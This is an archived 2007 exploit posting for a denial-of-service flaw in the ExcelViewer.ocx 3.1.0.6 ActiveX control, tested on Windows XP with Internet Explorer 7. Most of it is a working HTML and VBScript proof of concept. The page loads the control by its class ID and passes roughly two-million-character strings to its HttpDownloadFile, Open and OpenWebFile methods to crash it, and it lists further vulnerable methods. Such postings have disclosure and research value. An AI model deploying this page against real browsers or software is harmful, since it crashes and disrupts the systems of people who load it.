excel-dos.txt
Posted on 03 May 2007
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/02</b></p></span> <pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">----------------------------------------------------------------------------- <b>ExcelViewer.ocx v. 3.1.0.6 multiple methods Denial of Service</b> url: http://www.officeocx.com/ sell: from 63.95 (update to last version) to 1,585.95 (Royalty) author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to these exploits. Theese methods are vulnerable too: <b>DoOleCommand</b> <b>FTPDownloadFile</b> <b>FTPUploadFile</b> <b>HttpUploadFile</b> <b>Save</b> <b>SaveWebFile</b> ----------------------------------------------------------------------------- <object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='ExcelOCX' width="405" height="50"></object> <select style="width: 404px" name="Pucca"> <option value = "HttpDownloadFile">HttpDownloadFile</option> <option value = "Open">Open</option> <option value = "OpenWebFile">OpenWebFile</option> <option value = "Quoting">Quoting...</option> </select> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe on error resume next Dim MyMsg if Pucca.value = "HttpDownloadFile" then argCount = 2 arg1=String(2097512,"A") arg2="defaultV" ExcelOCX.HttpDownloadFile arg1, arg2 elseif Pucca.value = "Open" then argCount = 1 arg1=String(2097512, "A") ExcelOCX.Open arg1 elseif Pucca.value = "OpenWebFile" then argCount = 1 arg1=String(2097512, "A") ExcelOCX.OpenWebFile arg1 else MyMsg = MsgBox ("...They'll learn much more than I'll ever know" & vbCrLf &_ "And I think to myself, what a wonderful world...",64 ,"2007/05/02 - ExcelViewer v. 3.1") end if End Sub </script> </span></span> </code></pre>
